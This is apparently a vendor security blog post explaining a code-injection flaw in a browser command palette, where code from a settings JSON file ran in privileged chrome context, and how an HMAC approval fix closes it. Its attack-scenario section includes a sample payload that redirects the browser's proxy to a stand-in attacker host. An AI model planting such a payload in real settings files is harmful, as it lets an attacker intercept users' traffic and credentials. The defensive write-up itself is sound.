Back to Blog
critical SEVERITY9 min read

How Unsafe eval() in Browser Chrome Context Happens in JavaScript and How to Fix It

A critical code injection vulnerability in `command-palette/dynamic-commands.js` allowed arbitrary JavaScript to execute in the browser's privileged chrome context by passing unsanitized code from a user-controlled settings file directly into `Cu.evalInSandbox()`. The fix introduces an HMAC-based trust system that cryptographically hashes each custom command's code and requires explicit user approval before execution. This prevents attackers who can write to the settings file from silently injec

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a Code Injection vulnerability (CWE-94) in JavaScript, specifically in the `generateCustomCommands()` function of `command-palette/dynamic-commands.js`. The `cmd.code` field from a user-controlled JSON settings file was passed directly to `Cu.evalInSandbox()` with `wantXrays: false` and `sandboxPrototype: window`, enabling arbitrary script execution in the browser chrome context. The fix adds an HMAC-based approval workflow: each code snippet is hashed with `hmacCode()`, checked against a persisted allowlist via `loadApprovedHashes()`, and — if not previously approved — shown to the user in a confirmation dialog before execution. This ensures only explicitly trusted code snippets can run.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixHMAC-based code hashing and an explicit user-approval allowlist before any dynamic code execution
riskArbitrary JavaScript execution with full window object access in privileged browser context
languageJavaScript (Browser Chrome / Mozilla Extension)
root causecmd.code from a user-controlled JSON settings file passed directly to Cu.evalInSandbox() without validation or approval
vulnerabilityCode Injection via unsafe eval() in browser chrome context

How Unsafe eval() in Browser Chrome Context Happens in JavaScript and How to Fix It

Introduction

The command-palette/dynamic-commands.js file is responsible for loading and executing user-defined custom commands in a browser extension's command palette. It reads command definitions — including raw JavaScript code — from a settings JSON file, then executes them on demand. That sounds powerful and flexible. It is. It is also exactly the kind of feature that becomes a critical security vulnerability the moment the settings file can be written by anyone other than a fully trusted source.

At line 390 of dynamic-commands.js, the generateCustomCommands() function passed cmd.code — a string read directly from a JSON file on disk — into Cu.evalInSandbox() with wantXrays: false and sandboxPrototype: window. No validation. No hash check. No user confirmation. Any attacker who could write a single JSON file to the user's profile directory could execute arbitrary JavaScript in the browser's privileged chrome context.

This post walks through exactly how that happened, how it was fixed, and what every developer building plugin or scripting systems should take away from it.


The Vulnerability Explained

What the Code Was Doing

Inside generateCustomCommands(), commands of type 'js' were handled like this (simplified from the pre-fix code):

// VULNERABLE — before the fix
if (cmd.type === "js") {
  commandFunc = async () => {
    try {
      Cu.evalInSandbox(
        cmd.code,           // <-- raw string from settings JSON
        sandbox,
        "latest",
        "custom-command",
        1,
        { wantXrays: false, sandboxPrototype: window }  // full window access
      );
    } catch (e) {
      showToast(`Error: ${e.message}`);
    }
  };
}

cmd.code comes from Storage.loadSettings(), which reads a JSON file at the path configured by the zen-command-palette.settings-file-path preference (defaulting to chrome/zen-commands-settings.json). That file is a plain text file on disk — no cryptographic signature, no integrity check.

Why Cu.evalInSandbox() with These Options Is Dangerous

Cu.evalInSandbox() is a Mozilla-specific API used in browser chrome code to execute JavaScript in a controlled compartment. The key problem here is the options object:

{ wantXrays: false, sandboxPrototype: window }
  • sandboxPrototype: window — The sandbox inherits from the chrome window object, giving executed code access to the full browser window API, including tabs, preferences, native file I/O bridges, and more.
  • wantXrays: false — Disables X-ray vision, meaning the injected code sees the real underlying objects rather than safe wrappers. This removes a key layer of Mozilla's security architecture.

This is not a safe sandbox. It is the browser's most privileged execution environment with the guardrails turned off.

The Attack Scenario

Here is a concrete, step-by-step attack against this specific code:

  1. Attacker gains write access to chrome/zen-commands-settings.json — this could be a malicious npm package, a compromised local application, a symlink attack, or simply a social-engineering trick ("paste this config to unlock features").

  2. Attacker injects a malicious command entry into the settings JSON:

{
  "commands": [
    {
      "name": "Update Preferences",
      "type": "js",
      "code": "const {Services} = ChromeUtils.import('resource://gre/modules/Services.jsm'); Services.prefs.setCharPref('network.proxy.http', 'evil.example.com'); Services.prefs.setIntPref('network.proxy.http_port', 8080);"
    }
  ]
}
  1. User opens the command palette and sees a command named "Update Preferences" — it looks like a legitimate built-in command.

  2. User activates the command. generateCustomCommands() reads cmd.code from the JSON and passes it verbatim to Cu.evalInSandbox().

  3. The injected code runs in the chrome context, silently reconfiguring the browser's network proxy to route all traffic through an attacker-controlled server. From there, the attacker can intercept credentials, inject content into web pages, or pivot further.

The same technique could be used to exfiltrate browser-stored passwords, install a persistent backdoor via userChrome.js, or disable security preferences — all without any user-visible warning.

Why This Matters Beyond This Repository

This pattern — "load code from a config file and eval it" — appears in countless plugin systems, scripting engines, and developer tools. The vulnerability is not unique to this codebase; it is a recurring architectural mistake. The lesson here applies to VS Code extensions, Electron apps, browser extensions, and any Node.js application that supports user-defined scripts.


The Fix

What Changed

The fix introduces a cryptographic approval workflow using three new utility functions imported from ./utils/trust.js:

import { hmacCode, loadApprovedHashes, trustHash } from "./utils/trust.js";

Inside the commandFunc for 'js' type commands, the execution path now looks like this:

// FIXED — after the patch
if (cmd.type === "js") {
  commandFunc = async () => {
    try {
      const approvedHashes = await loadApprovedHashes();
      const codeHash = await hmacCode(cmd.code);

      if (!approvedHashes[codeHash]) {
        const preview = cmd.code.length > 200
          ? cmd.code.slice(0, 200) + "…"
          : cmd.code;
        const approved = window.confirm(
          `Run custom JS command "${cmd.name}"?\n\n` +
          `This will execute the following JavaScript in the browser:\n\n` +
          preview
        );
        // ... if approved, call trustHash(codeHash) to persist approval
      }
      // only reaches Cu.evalInSandbox() if hash is approved
    } catch (e) {
      showToast(`Error: ${e.message}`);
    }
  };
}

Before vs. After

Aspect Before After
Input validation None HMAC hash checked against allowlist
User awareness Silent execution Explicit confirmation dialog with code preview
Persistence N/A Approved hashes stored via trustHash()
Attack surface Any writable JSON file Requires user interaction per unique code snippet

How Each Part of the Fix Contributes

hmacCode(cmd.code) — Computes an HMAC of the raw code string. HMAC (Hash-based Message Authentication Code) produces a fixed-length digest that is unique to the exact byte sequence of the code. If an attacker modifies even one character of a previously approved command, the hash changes and re-approval is required.

loadApprovedHashes() — Loads a persisted map of previously approved HMAC digests. This means users only see the confirmation dialog once per unique code snippet — legitimate commands are not repeatedly interrupted.

window.confirm() with code preview — If the hash is not in the approved set, the user sees a dialog showing the command name and the first 200 characters of the code. This is a meaningful security boundary: a silent attacker injection is now surfaced as an explicit, visible prompt that a security-conscious user can reject.

trustHash(codeHash) — Persists the approval so subsequent invocations of the same code do not require re-confirmation.

This is a defense-in-depth approach. Even if an attacker writes to the settings file, the injected code cannot execute without the user explicitly approving it through a dialog that shows them what they are about to run.


Prevention & Best Practices

1. Treat All External Code as Untrusted Input

Any code loaded from disk, a network endpoint, a database, or a configuration file is untrusted input — even if the user wrote it themselves. Apply the same scrutiny you would to an HTTP request parameter.

2. Prefer Declarative Plugin APIs Over Code Execution

Instead of allowing plugins to supply raw JavaScript, define a declarative API:

{
  "name": "Open Settings",
  "type": "action",
  "action": "openPreferences",
  "args": { "pane": "general" }
}

This eliminates the eval() attack surface entirely. If scripting is genuinely required, scope it to a minimal, well-defined API surface.

3. Use Strict Sandbox Configuration

If Cu.evalInSandbox() must be used, do not set sandboxPrototype: window unless absolutely necessary, and keep wantXrays at its default (true). Prefer a minimal sandbox prototype that exposes only the APIs the plugin legitimately needs.

4. Cryptographic Code Signing

For production plugin systems, consider requiring plugins to be signed with a developer key, and verify the signature before execution. This is stronger than HMAC-based user approval because it does not rely on the user making a security decision.

5. Content Security Policy (CSP)

For web-based contexts, a strict CSP with script-src 'self' and no unsafe-eval directive prevents eval()-based injection. Browser extensions should declare their CSP in the manifest.

6. Static Analysis

Add Semgrep or ESLint security rules to your CI pipeline to catch eval()-with-user-input patterns before they reach production:

# Example Semgrep rule concept
rules:
  - id: unsafe-eval-user-input
    pattern: Cu.evalInSandbox($CODE, ...)
    message: Ensure $CODE is validated and approved before execution

Relevant Standards

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
  • OWASP A03:2021: Injection
  • OWASP Testing Guide: Testing for JavaScript Injection (OTG-CLIENT-002)

Key Takeaways

  • Cu.evalInSandbox() with sandboxPrototype: window and wantXrays: false is not a sandbox — it is the browser's most privileged execution context with safety features disabled. Never pass unvalidated external data into it.
  • Settings files on disk are attack surfaces. The path chrome/zen-commands-settings.json is writable by any process running as the current user. Treat its contents as untrusted input, not as trusted configuration.
  • HMAC hashing + user approval is a pragmatic middle ground when eval() cannot be eliminated. It ensures users see and explicitly consent to what code will run, and that previously approved code cannot be silently swapped out.
  • The 200-character preview in the confirmation dialog matters. Showing users the actual code — not just the command name — prevents social engineering attacks where a malicious command is given a benign-sounding name like "Update Preferences."
  • Importing trust utilities (hmacCode, loadApprovedHashes, trustHash) as a module means the approval logic is centralized and testable, rather than duplicated inline wherever dynamic code execution occurs.

How Orbis AppSec Detected This

  • Source: cmd.code field loaded from Storage.loadSettings(), which reads a user-controlled JSON file at the path specified by the zen-command-palette.settings-file-path preference.
  • Sink: Cu.evalInSandbox(cmd.code, sandbox, "latest", "custom-command", 1, { wantXrays: false, sandboxPrototype: window }) at command-palette/dynamic-commands.js:390.
  • Missing control: No hash verification, no signature check, no user confirmation, and no validation of the cmd.code field before passing it to the privileged execution API.
  • CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection').
  • Fix: An HMAC digest of each code snippet is computed via hmacCode(), checked against a persisted allowlist via loadApprovedHashes(), and — if not previously approved — presented to the user in an explicit confirmation dialog before Cu.evalInSandbox() is invoked.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The generateCustomCommands() vulnerability in dynamic-commands.js is a textbook example of how a genuinely useful feature — user-defined scripting — becomes a critical security hole when the code being executed is not treated as untrusted input. The browser chrome context is one of the most privileged execution environments in a desktop system. Passing arbitrary strings from a writable JSON file into it, silently and without user awareness, is equivalent to offering any local process a root shell.

The HMAC-based approval fix is elegant because it does not remove the feature. Users can still write and run custom JavaScript commands. What they can no longer do — and what attackers can no longer exploit — is have code run silently without the user's knowledge and explicit consent. Every developer building a plugin or scripting system should apply the same principle: make the execution of dynamic code a visible, auditable, and user-confirmed action, not a silent side effect of loading a configuration file.


References

Frequently Asked Questions

What is Code Injection via eval()?

Code Injection via eval() occurs when attacker-controlled data is passed to a dynamic code execution function (like eval(), Cu.evalInSandbox(), or new Function()) without sanitization, allowing the attacker to run arbitrary code in the application's execution context.

How do you prevent unsafe eval() in JavaScript browser extensions?

Avoid dynamic code execution entirely where possible. If it is necessary, use a cryptographic hash (e.g., HMAC) of each approved code snippet, persist the approved hashes, and require explicit user confirmation before executing any snippet whose hash is not in the allowlist.

What CWE is Code Injection?

Code Injection is classified under CWE-94 (Improper Control of Generation of Code). Related identifiers include CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, "Eval Injection").

Is sandboxing enough to prevent this type of code injection?

Not on its own. In this case Cu.evalInSandbox() was already used, but the sandbox was configured with wantXrays: false and sandboxPrototype: window, granting the injected code full access to the window object. Sandboxing must be combined with strict input validation and an approval mechanism.

Can static analysis detect this type of eval() injection?

Yes. Static analysis tools like Semgrep and ESLint with security plugins can detect patterns where user-controlled data flows into eval(), Cu.evalInSandbox(), or new Function(). The Orbis AppSec multi-agent AI scanner flagged this exact pattern in dynamic-commands.js.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #92

Related Articles

critical

How Server-Side Template Injection happens in Node.js EJS and how to fix it

CVE-2022-29078 is a critical server-side template injection (SSTI) vulnerability in EJS versions prior to 3.1.7, where the `outputFunctionName` option is passed directly into generated code without sanitization, allowing attackers to execute arbitrary JavaScript on the server. The fix upgrades the EJS dependency from 2.7.4 to 3.1.7+ (resolved here as 6.0.1), eliminating the unsafe code generation path. Any Node.js application rendering EJS templates with user-influenced options is at risk of ful

high

How Prototype Pollution happens in JavaScript via defu and how to fix it

CVE-2026-35209 is a high-severity prototype pollution vulnerability in the `defu` JavaScript library (versions prior to 6.1.5), where a crafted `__proto__` key in the defaults argument can corrupt the global Object prototype. The fix upgrades `defu` from 6.1.4 to 6.1.5 in `pnpm-lock.yaml` and enforces the version via a workspace override, closing the attack surface in production code that depends on `defu` for deep object merging.

critical

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

high

How Prototype Pollution happens in Node.js and how to fix it

A high-severity prototype pollution vulnerability (CVE-2020-8203) was identified in the lodash library via the `zipObjectDeep` function, present as a transitive dependency through postcss in the project's `yarn.lock`. The fix upgrades postcss from 8.5.8 to 8.5.12 using a Yarn resolution override, eliminating the vulnerable lodash code path and reducing the attack surface against crafted CSS input. This change protects the application from object prototype manipulation that could lead to informat

critical

How Prototype Pollution happens in Node.js protobufjs and how to fix it

CVE-2023-36665 is a critical prototype pollution vulnerability in protobufjs that allows attackers to corrupt JavaScript's Object prototype by crafting malicious protobuf messages. The vulnerability existed in protobufjs 6.11.3 and was resolved by upgrading to 6.11.4 (and 7.2.5 for the v7 branch). Applications that parse user-supplied protobuf data are directly at risk of runtime behavior manipulation, privilege escalation, or denial of service.